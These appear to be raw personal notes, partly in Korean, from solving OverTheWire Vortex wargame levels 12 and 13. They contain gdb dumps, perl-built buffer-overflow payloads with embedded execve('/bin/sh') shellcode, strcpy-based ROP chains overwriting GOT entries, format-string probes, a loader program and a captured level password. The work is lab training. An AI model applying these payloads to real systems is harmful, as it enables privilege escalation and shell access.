   0xf7ef962e <+94>:    test   %eax,%eax

   0xf7ef9630 <+96>:    mov    %eax,(%edi,%esi,4)

   0xf7ef9633 <+99>:    jne    0xf7ef9620 <execl+80>

   0xf7ef9635 <+101>:   mov    -0x58(%ebx),%eax

   0xf7ef963b <+107>:   mov    0x102c(%esp),%edx

   0xf7ef9642 <+114>:   mov    (%eax),%eax

   0xf7ef9644 <+116>:   mov    %edi,0x4(%esp)

   0xf7ef9648 <+120>:   mov    %edx,(%esp)

   0xf7ef964b <+123>:   mov    %eax,0x8(%esp)

   0xf7ef964f <+127>:   call   0xf7ef92d0 <execve>

   0xf7ef9654 <+132>:   cmp    0x10(%esp),%edi

   0xf7ef9658 <+136>:   je     0xf7ef966a <execl+154>

   0xf7ef965a <+138>:   mov    %eax,0xc(%esp)

   0xf7ef965e <+142>:   mov    %edi,(%esp)

   0xf7ef9661 <+145>:   call   0xf7e70be8 <free@plt>

   0xf7ef9666 <+150>:   mov    0xc(%esp),%eax

   0xf7ef966a <+154>:   add    $0x1018,%esp

   0xf7ef9670 <+160>:   pop    %ebx

   0xf7ef9671 <+161>:   pop    %esi

   0xf7ef9672 <+162>:   pop    %edi

   0xf7ef9673 <+163>:   pop    %ebp

   0xf7ef9674 <+164>:   ret   

   0xf7ef9675 <+165>:   lea    0x0(%esi),%esi

   0xf7ef9678 <+168>:   cmp    0x10(%esp),%edi

   0xf7ef967c <+172>:   lea    (%edx,%edx,1),%eax

   0xf7ef967f <+175>:   mov    %eax,0x14(%esp)

   0xf7ef9683 <+179>:   mov    $0x0,%eax

   0xf7ef9688 <+184>:   lea    0x0(,%edx,8),%ecx

   0xf7ef968f <+191>:   cmovne %edi,%eax

   0xf7ef9692 <+194>:   mov    %edx,0xc(%esp)

   0xf7ef9696 <+198>:   mov    %ecx,0x4(%esp)

   0xf7ef969a <+202>:   mov    %eax,(%esp)

   0xf7ef969d <+205>:   call   0xf7e70b98 <realloc@plt>

   0xf7ef96a2 <+210>:   mov    0xc(%esp),%edx

   0xf7ef96a6 <+214>:   test   %eax,%eax

   0xf7ef96a8 <+216>:   je     0xf7ef96e8 <execl+280>

   0xf7ef96aa <+218>:   cmp    0x10(%esp),%edi

   0xf7ef96ae <+222>:   je     0xf7ef96c0 <execl+240>

   0xf7ef96b0 <+224>:   mov    %eax,%edi

   0xf7ef96b2 <+226>:   mov    0x14(%esp),%edx

   0xf7ef96b6 <+230>:   mov    %ebp,%eax

   0xf7ef96b8 <+232>:   jmp    0xf7ef9629 <execl+89>

   0xf7ef96bd <+237>:   lea    0x0(%esi),%esi

   0xf7ef96c0 <+240>:   shl    $0x2,%edx

   0xf7ef96c3 <+243>:   mov    %edx,0x8(%esp)

   0xf7ef96c7 <+247>:   mov    %edi,0x4(%esp)

   0xf7ef96cb <+251>:   mov    %eax,(%esp)

   0xf7ef96ce <+254>:   mov    %eax,0xc(%esp)

   0xf7ef96d2 <+258>:   call   0xf7ed2e70

   0xf7ef96d7 <+263>:   mov    0xc(%esp),%ecx

   0xf7ef96db <+267>:   mov    %ebp,%eax

   0xf7ef96dd <+269>:   mov    0x14(%esp),%edx

   0xf7ef96e1 <+273>:   mov    %ecx,%edi

   0xf7ef96e3 <+275>:   jmp    0xf7ef9629 <execl+89>

   0xf7ef96e8 <+280>:   cmp    0x10(%esp),%edi

   0xf7ef96ec <+284>:   mov    $0xffffffff,%eax

   0xf7ef96f1 <+289>:   jne    0xf7ef965a <execl+138>

   0xf7ef96f7 <+295>:   add    $0x1018,%esp

   0xf7ef96fd <+301>:   pop    %ebx

   0xf7ef96fe <+302>:   pop    %esi

   0xf7ef96ff <+303>:   pop    %edi

   0xf7ef9700 <+304>:   pop    %ebp

   0xf7ef9701 <+305>:   ret   

   0xf7ef9702 <+306>:   mov    -0x58(%ebx),%eax

   0xf7ef9708 <+312>:   mov    (%eax),%eax

   0xf7ef970a <+314>:   mov    %eax,0x8(%esp)

   0xf7ef970e <+318>:   lea    0x18(%esp),%eax

   0xf7ef9712 <+322>:   mov    %eax,0x4(%esp)

   0xf7ef9716 <+326>:   mov    0x102c(%esp),%eax

   0xf7ef971d <+333>:   mov    %eax,(%esp)

   0xf7ef9720 <+336>:   call   0xf7ef92d0 <execve>

   0xf7ef9725 <+341>:   jmp    0xf7ef966a <execl+154>





esp            0xffffce90       0xffffce90

ebp            0xffffd2a8       0xffffd2a8

esi            0x1394   5012


esp            0xffffc288       0xffffc288



-> 일단, execl로 shell 띄우는건 성공했는데...잘 모르겠다..ㅋㅋㅋ

그나저나 그래도 level13 권한을 획득하는건 실패.ㅠ

/vortex/vortex12 "`perl -e '{print "A"x1036,"\xd0\x95\xef\xf7","\x20\xd9\xff\xff","\x0f\xd9\xff\xff"x1,"\xc\xd9\xff\xff"x2}'`"


/vortex/vortex12 "`perl -e '{print "A"x1036,"\xd0\x95\xef\xf7","\x20\xd9\xff\xff","\x13\xd9\xff\xff"x1,"\xc\xd9\xff\xff"x2}'`"


0x8048434L:

Searching for ROP gadget:  pop eax % with constraints: []

0x8048434L: pop eax ; pop ebx ; leave ;;

   0x08048434 <+44>:    pop    %eax

   0x08048435 <+45>:    pop    %ebx

   0x08048436 <+46>:    leave 

   0x08048437 <+47>:    ret  



/vortex/vortex12 "`perl -e '{print "A"x1032,"\xb8\xd2\xff\xff","\x34\x84\x04\x08","BBBB","CCCC","A"x20,"\x9f\x86\x04\x08"}'`"


0x804869fL: mov esp ebp ; pop ebp ;;


   0x0804869f <+159>:   mov    %ebp,%esp

   0x080486a1 <+161>:   pop    %ebp

   0x080486a2 <+162>:   ret   


시나리오.

memcpy를 사용해서 .bss(0x0804a040) 으로 1차 쉘코드(sleep의 GOT를 바꾸는)를 복사한 후 실행?.


/vortex/vortex12 "`perl -e '{print "\x90"x400,"\xbb\x20\xa0\x04\x08\xc7\x03\x40\xa3\x04\x08\xe8\x0f\xff\xff\xff","\x90"x555,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x40\xa0\x04\x08","\x20\x11\xed\xf7","\x07\x87\x04\x08","\x40\xa0\x04\x08","\x60\xd5\xff\xff","\xd0\xca\xf2\xf7","\x40\xa0\x04\x08","\x04\x01\x01\x01","\x04\x01\x01\x01","\x40\xa0\x04\x08"}'`"



memcpy : 0xf7ed2e10

strcpy : 0xf7ed1120

sleep : 0xf7ef8c70

mprotect : 0xf7f2cad0

80483ce:       bb 20 a0 04 08          mov    $0x804a020,%ebx

80483d3:       c7 03 78 56 34 12       movl   $0x12345678,(%ebx)


흠..bss가 실행권한이 없네;

(gdb)

   0x8048707 <__libc_csu_init+87>:      pop    %edi



pop-pop-ret를 사용하는 이유?

leave로 끝나지 않는 함수인 경우 stack pointer가 4byte만 이동한다(ret로 인해) ..



vortex12@melissa:~$ objdump --dynamic-reloc /vortex/vortex12


/vortex/vortex12:     file format elf32-i386


DYNAMIC RELOCATION RECORDS

OFFSET   TYPE              VALUE

08049ff0 R_386_GLOB_DAT    __gmon_start__

0804a040 R_386_COPY        stdout

0804a000 R_386_JUMP_SLOT   syscall

0804a004 R_386_JUMP_SLOT   __gmon_start__

0804a008 R_386_JUMP_SLOT   __libc_start_main

0804a00c R_386_JUMP_SLOT   fflush

0804a010 R_386_JUMP_SLOT   strcpy

0804a014 R_386_JUMP_SLOT   printf

0804a018 R_386_JUMP_SLOT   getuid

0804a01c R_386_JUMP_SLOT   pthread_create

0804a020 R_386_JUMP_SLOT   sleep

0804a024 R_386_JUMP_SLOT   getgid


23 .bss          0000000c  0804a040  0804a040  00001030  2**5


pop-pop-ret : 0x8048572

0xf7ef95d0 <execl> 의 주소.


/vortex/vortex8 `perl -e '{print "\x90"x975,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh",

"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x40\xa0\x04\x08","\xd1\x5c\xe7\xf7",

"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x41\xa0\x04\x08","\xe8\xeb\xe5\xf7",

"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x42\xa0\x04\x08","\xc8\xf5\xe5\xf7",

"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x43\xa0\x04\x08","\xf8\xed\xe5\xf7",

"\x20\x11\xed\xf7","\x70\x8c\xef\xf7","\x14\xa0\x04\x08","\x40\xa0\x04\x08"}'`


/vortex/vortex12 "`perl -e '{print "\x90"x975,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh",

"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x60\xd5\xff\xff","\xd1\x5c\xe7\xf7",

"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x61\xd5\xff\xff","\xe8\xeb\xe5\xf7",

"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x62\xd5\xff\xff","\xc8\xf5\xe5\xf7",

"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x63\xd5\xff\xff","\x8b\xab\xe5\xf7",

"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x14\xa0\x04\x08","\x60\xd5\xff\xff",

"\x70\x8c\xef\xf7","\x01"}'`"


strace /vortex/vortex12 "`perl -e '{print "\x90"x971,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x60\xd5\xff\xff","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x60\xd5\xff\xff","\xd1\x5c\xe7\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x61\xd5\xff\xff","\xe8\xeb\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x62\xd5\xff\xff","\xc8\xf5\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x63\xd5\xff\xff","\x8c\xab\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x14\xa0\x04\x08","\x60\xd5\xff\xff","\xa4\x85\x04\x08","\x01"}'`"


strace /vortex/vortex12 "`perl -e '{print "\x90"x975,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x60\xd5\xff\xff","\xd1\x5c\xe7\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x61\xd5\xff\xff","\xe8\xeb\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x62\xd5\xff\xff","\xc8\xf5\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x63\xd5\xff\xff","\xf8\xed\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x64\xd5\xff\xff","\x1d\x05\xe7\xf7","\x20\x11\xed\xf7","\x20\xa0\x04\x08","\x14\xa0\x04\x08","\x60\xd5\xff\xff"}'`"



"`perl -e '{print "\x90"x975,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x44\xa0\x04\x08","\xd1\x5c\xe7\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x45\xa0\x04\x08","\xe8\xeb\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x46\xa0\x04\x08","\xc8\xf5\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x47\xa0\x04\x08","\xf8\xed\xe5\xf7","\x20\x11\xed\xf7","\x70\x8c\xef\xf7","\x14\xa0\x04\x08","\x44\xa0\x04\x08"}'`"





strace -f /vortex/vortex12 "`perl -e '{print "\x90"x971,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh","\x60\xd5\xff\xff","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x60\xd5\xff\xff","\xd1\x5c\xe7\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x61\xd5\xff\xff","\xe8\xeb\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x62\xd5\xff\xff","\xc8\xf5\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x63\xd5\xff\xff","\x8c\xab\xe5\xf7","\x20\x11\xed\xf7","\x72\x85\x04\x08","\x0c\xa0\x04\x08","\x60\xd5\xff\xff","\x70\x8c\xef\xf7","\x01"}'`"




$ id

uid=5012(vortex12) gid=5012(vortex12) euid=5013(vortex13) groups=5013(vortex13),5012(vortex12)

$ cat /etc/vortex_pass/vortex13

jMyg12=nB


fflush의 GOT를 overwrite하여 exploit한다.


/vortex/vortex12 "`perl -e '{print "\x90"x975,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh",

     strcpy            pop-pop-ret       any stack addr     execve address 값을 가지는 memory들..

"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x60\xd5\xff\xff","\xd1\x5c\xe7\xf7",

"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x61\xd5\xff\xff","\xe8\xeb\xe5\xf7",

"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x62\xd5\xff\xff","\xc8\xf5\xe5\xf7",

"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x63\xd5\xff\xff","\x8b\xab\xe5\xf7",

0xffffd560에 execve의 주소값 0xf7ef95d0 이 저장된다.

"\x20\x11\xed\xf7","\x72\x85\x04\x08","\x14\xa0\x04\x08","\x60\xd5\xff\xff",

0x0804a014(fflush GOT)를 0xffffd560에 저장되어 있는 값으로 교체한다.

"\x70\x8c\xef\xf7","\x01"}'`"

sleep로 대기.


strace로 돌린 후 execve의 아규먼트로 넘어가는 값을 확인 후, sh로 링크를 생성해준다.



[+] Level 13

  - id : vortex13

  - Password: jMyg12=nB


Inconveniences

How big is your shellcode? This level has a non-executable stack. You must login to vortex.labs.overthewire.org to complete this level.


int __cdecl main(int argc, int a2)

{

  int cnt; // [sp+1Ch] [bp-4h]@3

  int v4; // [sp+18h] [bp-8h]@4


  if ( argc )

    exit(1);

  cnt = 0;

  while ( *(_DWORD *)(4 * cnt + environ) )

  {                                                             // remove environ variable

    v4 = 0;

    while ( *(_BYTE *)(*(_DWORD *)(4 * cnt + environ) + v4) )

      *(_BYTE *)(*(_DWORD *)(4 * cnt + environ) + v4++) = 0;

    ++cnt;

  }

  cnt = 0;

  while ( *(_DWORD *)(a2 + 4 * cnt) )

  {                                                             // remove arguments

    v4 = 0;

    while ( *(_BYTE *)(*(_DWORD *)(a2 + 4 * cnt) + v4) )

      *(_BYTE *)(*(_DWORD *)(a2 + 4 * cnt) + v4++) = 0;

    ++cnt;

  }

  vuln();

  return 0;

}


void __cdecl vuln()

{

  void *v0; // eax@1

  int max_length; // [sp+18h] [bp-10h]@1

  const char *input_str; // [sp+14h] [bp-14h]@1

  signed int cnt; // [sp+1Ch] [bp-Ch]@3


  max_length = 20;

  v0 = malloc(20u);

  input_str = (const char *)v0;

  if ( !fgets((char *)v0, max_length, (FILE *)stdin) )

    exit(1);

  cnt = 0;

  while ( cnt <= 19 )

  {

    if ( !strchr(allowed, input_str[cnt]) )

      exit(1);

    ++cnt;

  }

  printf(input_str);

  free((void *)input_str);

}


allowed : ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%.$


- 20byte shellcode로 GOT를 바꿔야한다.

- Format String Bug를 사용한다.



int main(int argc, char *argv[])

{

        char *envc[] = {NULL};

        char *envp[4] = {"ABC",0,0, };


        envp[1] =shellcode;

        envp[2] =argv[1];


        execve("/vortex/vortex13", envc, envp);

        return 0;

}


gcc -o loader -m32 loader.c



%s로 하면 될까?..

"\x10\xa0\x04\x08","%s"x4,"%n"


vortex13@melissa:/tmp/hclee13$ objdump --dynamic-reloc /vortex/vortex13


/vortex/vortex13:     file format elf32-i386


DYNAMIC RELOCATION RECORDS

OFFSET   TYPE              VALUE

08049ff0 R_386_GLOB_DAT    __gmon_start__

0804a02c R_386_COPY        __environ

0804a030 R_386_COPY        stdin

0804a000 R_386_JUMP_SLOT   __gmon_start__

0804a004 R_386_JUMP_SLOT   strchr

0804a008 R_386_JUMP_SLOT   fgets

0804a00c R_386_JUMP_SLOT   __libc_start_main

0804a010 R_386_JUMP_SLOT   free

0804a014 R_386_JUMP_SLOT   printf

0804a018 R_386_JUMP_SLOT   malloc

0804a01c R_386_JUMP_SLOT   exit


AAAA%18$x%19$x

AAAA%19$0x

perl -e '{print "AAAA%36\$0x"}' | ./loader

AAAA%20$0x

AAAA%20$0x

AAAA%20$0x

AAAA%20$0x

AAAA%20$0x

AAAA%20$0x


AAAA%20$0x

AAAA%18$x

%18$x


00000000f7fd3440f7e89c6500000000



heap에 데이터가 저장되므로 %x로는 값이 보이지 않는다;.??


0000000: 4128 6e75 6c6c 2941 8822 adfb 10d0 fdf7  A(null)A."......

0000010: 10d0 fdf7 418b 0685 c075 f55b 5e5d c38b  ....A....u.[^]..

0000020: 1c24 c390 9090 9090 9090 9090 9090 9090  .$..............

0000030: 5589 e55d c38d 7426 4128 6e75 6c6c 2941  U..]..t&A(null)A

0000040: 4125 7341 2573 4125 7341 2573 4125 730a  A%sA%sA%sA%sA%s.

0000050: 0a   


5번째인가?;..

0804b008


%123d%10$hn

perl -e '{print "\x10\xa0\x04\x08","%5\$hn"}' | ./loader

%4660d%9$hn

%2$40968x%9$n

%1$40976x%9$hn


1

00000000

2

f7fd3440

3

f7e89c65

4

00000000

5

0804b008  input string. heap address?

6

00000014  max_length

7

00000014  cnt

8

f7fd2ff4

9

08049ff4  _GLOBAL_OFFSET_TABLE_

10

ffffde68  SFP(Saved frame pointer), ebp

11

080486ac  main으로 return address

12

f7ea2c3d

13

f7fd3324

14

f7fd2ff4

15

ffffde68

16

f7ea2cb5  __cxa_atexit

17

f7feed80

18

00000003

19

00000000

20

080486c0  __libc_csu_init

21

00000000

22

ffffdee8

23

f7e89e37  __libc_start_main

24

00000000

25

ffffdf14

26

ffffdf18

27

f7fdf420

28

ffffffff

29

f7ffcff4

30

080482ef

31

00000001

32

ffffded0

33

f7fedd61

34

f7ffdad0

35

f7fd72e8

36

00000001

37

f7fd2ff4

38

00000000

39

00000000

40

ffffdee8

41

6556ef6e

42

15803af8

43

00000000

44

00000000

45

00000000

46

00000000

47

08048470 ; _start

48

00000000

49

f7ff3f70

50

f7e89d5b

51

f7ffcff4

52

00000000

53

08048470

54

00000000

55

08048491  ; _start return

56

080485c4  ; main

57

00000000

58

ffffdf14

59

080486c0 ; __libc_csu_init

60

08048720  __libc_csu_fini

61

f7feed80

62

ffffdf0c

63

f7ffd918

64

00000000

65

00000000

66

ffffdfe3

67

00000000

68

00000020

69

f7fdf420

70

00000021

71

f7fdf000

72

00000010

73

17898175

74

00000006

75

00001000

76

00000011

77

00000064

78

00000003

79

08048034

80

00000004

81

00000020

82

00000005

83

00000008

84

00000007

85

f7fe0000

86

00000008

87

00000000

88

00000009

89

08048470

90

0000000b

91

00001395

92

0000000c

93

00001396

94

0000000d

95

00001395

96

0000000e

97

00001395

98

00000017

99

00000001

100

00000019

101

ffffdfcb

102

0000001f

103

ffffdfe7

104

0000000f

105

ffffdfdb

106

00000000

107

00000000

108

00000000

109

00000000

110

7b000000

111

94390359

112

cb47ca2c

113

3b96876f

114

69a6f872

115

00363836

116

00000000

117

2f000000

118

74726f76

119

762f7865

120

6574726f

121

00333178

122

00000000

123

00000000

124

Segmentation fault


125

Segmentation fault


126

Segmentation fault


127

Segmentation fault



환경변수 위치 : 0xffffd8f8


123 x/x 0x2f2e0000

124 x/x 0x41414141

125 x/x 0x00414141

126 x/x 0x00000000

127 x/x 0x00000000




SEH를 쓰면 어떻게 되러나...




set {int}0x08049ff4=0x12345678



0xffffd6c0:     ----------      0x00000000      0xf7fd3440      0xf7e89c65

0xffffd6d0:     0x00000000      0x0804b008      0x00000014      0x00000014

0xffffd6e0:     0xf7fd2ff4      0x08049ff4      0xffffd718      0x080486ac

0xffffd6f0:     0xf7ea2c3d      0xf7fd3324      0xf7fd2ff4      0xffffd718

0xffffd700:     0xf7ea2cb5      0xf7feed80      0x00000015      0x00000001

0xffffd710:     0x080486c0      0x00000000      0xffffd798      0xf7e89e37

0xffffd720:     0x00000001      0xffffd7c4      0xffffd7cc      0xf7fdf420

0xffffd730:     0xffffffff      0xf7ffcff4      0x080482ef      0x00000001

0xffffd740:     0xffffd780      0xf7fedd61      0xf7ffdad0      0xf7fd72e8

0xffffd750:     0x00000001      0xf7fd2ff4      0x00000000      0x00000000

0xffffd760:     0xffffd798      0x25573b46      0x0bc28356      0x00000000

0xffffd770:     0x00000000      0x00000000      0x00000001      0x08048470

0xffffd780:     0x00000000      0xf7ff3f70      0xf7e89d5b      0xf7ffcff4

0xffffd790:     0x00000001      0x08048470      0x00000000      0x08048491

0xffffd7a0:     0x080485c4      0x00000001      0xffffd7c4      0x080486c0

0xffffd7b0:     0x08048720      0xf7feed80      0xffffd7bc      0xf7ffd918

0xffffd7c0:     0x00000001      0xffffd8e2      0x00000000      0xffffd8f8

0xffffd7d0:     0xffffd908      0xffffd913      0xffffd935      0xffffd948

0xffffd7e0:     0xffffd95b      0xffffd969      0xffffde59      0xffffde87

0xffffd7f0:     0xffffde92      0xffffde9e      0xffffdeeb      0xffffdf03

0xffffd800:     0xffffdf12      0xffffdf23      0xffffdf34      0xffffdf3d

0xffffd810:     0xffffdf51      0xffffdf59      0xffffdf6a      0xffffdfa0

0xffffd820:     0xffffdfc0      0x00000000      0x00000020      0xf7fdf420

0xffffd830:     0x00000021      0xf7fdf000      0x00000010      0x17898175

0xffffd840:     0x00000006      0x00001000      0x00000011      0x00000064

0xffffd850:     0x00000003      0x08048034      0x00000004      0x00000020

0xffffd860:     0x00000005      0x00000008      0x00000007      0xf7fe0000

0xffffd870:     0x00000008      0x00000000      0x00000009      0x08048470

0xffffd880:     0x0000000b      0x00001395      0x0000000c      0x00001395

0xffffd890:     0x0000000d      0x00001395      0x0000000e      0x00001395

0xffffd8a0:     0x00000017      0x00000000      0x00000019      0xffffd8cb

0xffffd8b0:     0x0000001f      0xffffdfe2      0x0000000f      0xffffd8db

0xffffd8c0:     0x00000000      0x00000000      0xbf000000      0xbd0735ca

0xffffd8d0:     0x1f5ced7c      0xc8ca1b46      0x6955beed      0x00363836

0xffffd8e0:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd8f0:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd900:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd910:     0x00000000      0x00000000      0x00000000      0x00000000

0xffffd920:     0x00000000      0x00000000      0x00000000      0x00000000



80485cd:       83 7d 08 01             cmpl   $0x1,0x8(%ebp)

80485d1:       74 0c                   je     80485df <main+0x1b>


x10\xa0\x04\x08


%40976x%124$n


%125$x



123 x/x 0x2f2e0000

124 x/x 0x41414141

125 x/x 0x00414141

126 x/x 0x00000000

127 x/x 0x00000000

Segmentation fault



vortex13@melissa:/tmp/hclee13$ ./loader

%124$08X

0804A012


vortex13@melissa:/tmp/hclee13$ ./loader

%123$08X

0804A010


%9680d%123$hn%53793d%124$hn  -> 헉..짤린다ㅡㅡ;

%9680d%123$hn%53793d%124$hn  -> 헉..짤린다ㅡㅡ;

27byte..-_-;

젠장..문제가 왜 이래-_-;;

%4159776208d%123$n

(gdb) print execl

$1 = {<text variable, no debug info>} 0xf7f125d0 <execl>

(gdb) print execve

$2 = {<text variable, no debug info>} 0xf7f122d0 <execve>


0xffffd6ec main으로 return address가 있는 stack을 바꿔서 vuln이 다시 실행되도록 한다.


%128$08X

0x08048524

%34084d%124$hn


ln -s /vortex/vortex13 `perl -e '{print "\x10\xa0\x04\x08\x12\xa0\x04\x08\xec\xd6\xff\xff\x41\x41\x41"}'`

rm `perl -e '{print "\x10\xa0\x04\x08\x12\xa0\x04\x08\xec\xd6\xff\xff\x41\x41\x41"}'`

cp ./vortex13 `perl -e '{print "\x10\xa0\x04\x08\x12\xa0\x04\x08\xdc\xd6\xff\xff\x41\x41\x41"}'`

./`perl -e '{print "\x10\xa0\x04\x08\x12\xa0\x04\x08\xdc\xd6\xff\xff\x41\x41\x41"}'`


ln -s /vortex/vortex13 `perl -e '{print "\x10\xa0\x04\x08\x12\xa0\x04\x08\x41\x41\x41"}'`


vortex13@melissa:/tmp/hclee13$ cat loader.c

#include <stdio.h>


int main(int argc, char *argv[])

{

        char *envc[5] = {NULL,"","AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"};

        char *envp[5] = {"","","","AAAA" };

        char cmd[128] = {"./"};

int cnt = strlen(cmd);

#if 1

        cmd[cnt] = 0x10;

        cmd[cnt+1] = 0xa0;

        cmd[cnt+2] = 0x04;

        cmd[cnt+3] = 0x08;

        cmd[cnt+4] = 0x12;

        cmd[cnt+5] = 0xa0;

        cmd[cnt+6] = 0x04;

        cmd[cnt+7] = 0x08;

        cmd[cnt+8] = 0x41;

        cmd[cnt+9] = 0x41;

        cmd[cnt+10] = 0x41;

        cmd[cnt+11] = 0x00;

#endif


        //envp[1] =shellcode;

        //envc[2] =argv[1];

        //envp[2] =argv[1];


        //execve("/vortex/vortex13", envc, envp);

        execve(cmd, envc, envp);

        return 0;

}



시나리오1.

vuln 함수의 return address를 vuln의 시작점으로 돌려 무한루프를 돌게해보자.

만약 이게 성공한다면. exit의 GOT 값을 바꾼다음 exit 함수가 수행되도록 입력값을 바꾸어 넣어보자.

exit의 첫번째 아규먼트가 1이라서 명령어를 실행시킬수가 없다;;


return address를 바꾸면 무한루프가 돌지 않으므로(스택이 재설정되므로) free의 GOT table 값을 바꾸어 루프를 돌도록 했다.

그리고 exit를 바꿨지만, 아규먼트 문제로 실행 X




(gdb) disassemble main

Dump of assembler code for function main:

   0x080485c4 <+0>:     push   %ebp

   0x080485c5 <+1>:     mov    %esp,%ebp

   0x080485c7 <+3>:     and    $0xfffffff0,%esp

   0x080485ca <+6>:     sub    $0x20,%esp

   0x080485cd <+9>:     cmpl   $0x0,0x8(%ebp)

   0x080485d1 <+13>:    je     0x80485df <main+27>

   0x080485d3 <+15>:    movl   $0x1,(%esp)

   0x080485da <+22>:    call   0x8048460 <exit@plt>

   0x080485df <+27>:    movl   $0x0,0x1c(%esp)

   0x080485e7 <+35>:    jmp    0x8048635 <main+113>

   0x080485e9 <+37>:    movl   $0x0,0x18(%esp)

   0x080485f1 <+45>:    jmp    0x8048612 <main+78>

   0x080485f3 <+47>:    mov    0x804a02c,%eax

   0x080485f8 <+52>:    mov    0x1c(%esp),%edx

   0x080485fc <+56>:    shl    $0x2,%edx

   0x080485ff <+59>:    add    %edx,%eax

   0x08048601 <+61>:    mov    (%eax),%edx

   0x08048603 <+63>:    mov    0x18(%esp),%eax

   0x08048607 <+67>:    lea    (%edx,%eax,1),%eax

   0x0804860a <+70>:    movb   $0x0,(%eax)

   0x0804860d <+73>:    addl   $0x1,0x18(%esp)

   0x08048612 <+78>:    mov    0x804a02c,%eax

   0x08048617 <+83>:    mov    0x1c(%esp),%edx

   0x0804861b <+87>:    shl    $0x2,%edx

   0x0804861e <+90>:    add    %edx,%eax

   0x08048620 <+92>:    mov    (%eax),%edx

   0x08048622 <+94>:    mov    0x18(%esp),%eax

   0x08048626 <+98>:    lea    (%edx,%eax,1),%eax

   0x08048629 <+101>:   movzbl (%eax),%eax

   0x0804862c <+104>:   test   %al,%al

